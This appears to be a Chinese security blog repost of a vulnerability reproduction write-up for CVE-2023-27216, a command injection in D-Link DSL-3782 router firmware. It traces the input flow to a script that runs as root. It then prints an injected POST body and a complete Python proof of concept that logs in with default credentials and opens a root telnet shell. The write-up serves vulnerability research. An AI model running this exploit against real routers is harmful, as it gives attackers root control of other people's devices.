命令注入漏洞CVE-2023-27216复现

admin 2024年9月29日00:44:40评论7 views字数 4187阅读13分57秒阅读模式


洞信息

◆CVE编号:CVE-2023-27216
◆漏洞描述:An issue found in D-Link DSL-3782 v.1.03 allows remote authenticated users to execute arbitrary code as root via the network settings page.
◆设备型号:D-Link DSL-3782
◆固件版本:DSL-3782_A1_EU_1.01
◆厂商官网:http://www.dlink.com.cn/
◆固件地址:https://media.dlink.eu/support/products/dsl/dsl-3782/driver_software/dsl-3782_a1_eu_1.01_07282016.zip


漏洞分析

固件解包:
命令注入漏洞CVE-2023-27216复现
模拟固件:
命令注入漏洞CVE-2023-27216复现
命令注入漏洞CVE-2023-27216复现
通过查看DSL-3782的官方文档可知默认密码为:admin
命令注入漏洞CVE-2023-27216复现
根据漏洞描述披露的信息:在网络设置页面有一个需要认证的命令执行,并且是root权限。那么直接固件模拟,看一下网络设置页面的信息:
命令注入漏洞CVE-2023-27216复现
尝试更改一下其中数据,并点击Save,此时burpsuite抓到的数据包内容为:
命令注入漏洞CVE-2023-27216复现
根据数据包内容可知Save的数据提交到了/cgi-bin/New_GUI/Set/Network.asp,在文件系统中查找该文件并查看其内容:
命令注入漏洞CVE-2023-27216复现
由文件内容和数据包的内容可知:网页输入的Router IP Address、Subnet Mask的内容会分别被作为lan_ip1、lan_netmask1的值POST到/cgi-bin/New_GUI/Set/Network.asp。在Network.asp中将Lan_Entry0IP、netmask的值分别设定为lan_ip1、lan_netmask1,即用户传入的Router IP Address、Subnet Mask内容最终会传递到Lan_Entry0IP、netmask中。此时查找一下含Lan_Entry0的文件:
命令注入漏洞CVE-2023-27216复现
结合查找到的内容和之前分析CVE-2022-34527的信息可知漏洞点应该是在userfs/bin/cfg_manager中。将该文件拿到IDA中分析并结合关键词IP、netmask定位到关键代码并进行分析,在分析过程中会遇到字符串解析不正确和函数不识别问题,需要手动修复。修复方式:

◆字符串:在显示不正确的起始地址处按下U(Undefine),然后按下A。

◆函数:在函数起始地址处按下P。

命令注入漏洞CVE-2023-27216复现
命令注入漏洞CVE-2023-27216复现
命令注入漏洞CVE-2023-27216复现
通过上面代码可知:cfg_manager向/etc/lanconfig.sh文件中写入了可被前端控制的输入信息:IP(Router IP Address)、netmask(Subnet Mask),并将该文件设定为可读可写可执行。通过查看该文件的引用发现最终该文件会被system执行,并且为root权限。
现在我们已经知道了从mxmlFindElement函数获取到Entry0,再使用mxmlElementGetAttr函数获取IP或netmask的值到写入/etc/lanconfig.sh的过程中不存在对输入内容的检查。从mxmlFindElementmxmlElementGetAttr这两个函数名称可知是从一个xml文件中获取的数据。现在还需要确认从/cgi-bin/New_GUI/Set/Network.asp提交到写入xml文件这一过程中是否存在输入检查。通过分析找到该文件:
命令注入漏洞CVE-2023-27216复现
现在验证一下自定义的输入能否原封不动的写入到该文件中,使用FirmAE调试模式模拟固件,更改数据包发送后,用其提供的shell辅助查看/tmp/var/romfile.cfg文件中内容:
命令注入漏洞CVE-2023-27216复现
命令注入漏洞CVE-2023-27216复现
命令注入漏洞CVE-2023-27216复现
可以看到此时IP的内容即为更改的数据。顺便查看一下此时/etc/lanconfig.sh文件内容:
命令注入漏洞CVE-2023-27216复现
到这里整个漏洞分析算是基本完成了,大致的流程是:用户输入的数据被POST到/cgi-bin/New_GUI/Set/Network.asp,通过TCWebApi_Set将数据保存到Lan_Entry中,然后传递到cfg-manager,cfg-manager将其保存到/tmp/var/romfile.cfg文件中,最后通过mxmlElementGetAttr获取数据将其写入文件/etc/lanconfig.sh,最终被system执行。


漏洞复现

在查看数据包时发现POST的数据是需要session的,因此选择使用Intercept on拦截数据包修改后发送。修改后POST的数据为:
lan_ip1=192.168.1.1;utelnetd -p 7080 -l /bin/sh;&lan_netmask1=255.255.255.0&lan2_enable=No&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0&lan_dhcp_type=1&lan_dhcp_start=192.168.1.3&lan_dhcp_count=252&lan_dhcp_lease=86400&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes&lan2_active=No&sessionKey=1681692777
命令注入漏洞CVE-2023-27216复现
使用nc连接成功,取得shell。
命令注入漏洞CVE-2023-27216复现

Poc

import requests
import os
from time import sleep


server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
}


def login():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1691919162829"
resp = s.get(url,headers=headers,timeout=100)
print(resp.text)


def get_session_key():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
resp = s.get(url,headers=headers,timeout=100)
sessionKey = resp.text
print(sessionKey)
return sessionKey


def poc(sessionKey=None):
s = requests.Session()
s.verify = False

cmd = b";utelnetd -p 8090 -l /bin/sh;"

post_data = b"lan_ip1=192.168.1.1"
post_data += cmd
post_data += b"&lan_netmask1=255.255.255.0&lan2_enable=No"
post_data += b"&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0"
post_data += b"&lan_dhcp_type=1&lan_dhcp_start=192.168.1.2&lan_dhcp_count=253&lan_dhcp_lease=86400"
post_data += b"&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes"
post_data += b"&lan2_active=No&sessionKey="
post_data += sessionKey.encode(encoding="utf-8")
url = main_url + "/cgi-bin/New_GUI/Set/Network.asp"
s.post(url,data=post_data,headers=headers,timeout=10000)
print(resp.text)


if __name__ == '__main__':
print("n[*] Connection ",main_url)
login()

print("[*] Getting session key")
sessionKey = get_session_key()

print("[*] Sending payload")
poc(sessionKey=sessionKey)
print("[*] Running Telnetd Service")
print("[*] Opening Telnet Connectionn")
sleep(3)
os.system('telnet ' + str(server) + ' 8090')
执行poc后,使用成功取得shell:
命令注入漏洞CVE-2023-27216复现


复现总结

命令注入漏洞通常造成的原因相同:没有对前端输入数据检测或者检测不充分。这个命令注入漏洞和之前复现的几个略微不同的地方在于前端输入的数据最后是写到一个脚本文件中,通过给该文件添加执行权限,最终被system函数执行。

参考文章

https://github.com/FzBacon/CVE-2023-27216_D-Link_DSL-3782_Router_command_injection/blob/master/CVE-2023-27216_D-Link_DSL-3782_Router_command_injection.md

命令注入漏洞CVE-2023-27216复现

看雪ID:伯爵的信仰

https://bbs.kanxue.com/user-home-882513.htm

*本文为看雪论坛优秀文章,由 伯爵的信仰 原创,转载请注明来自看雪社区
命令注入漏洞CVE-2023-27216复现

# 

原文始发于微信公众号(看雪学苑):命令注入漏洞CVE-2023-27216复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月29日00:44:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令注入漏洞CVE-2023-27216复现http://cn-sec.com/archives/1976319.html

发表评论

匿名网友 填写信息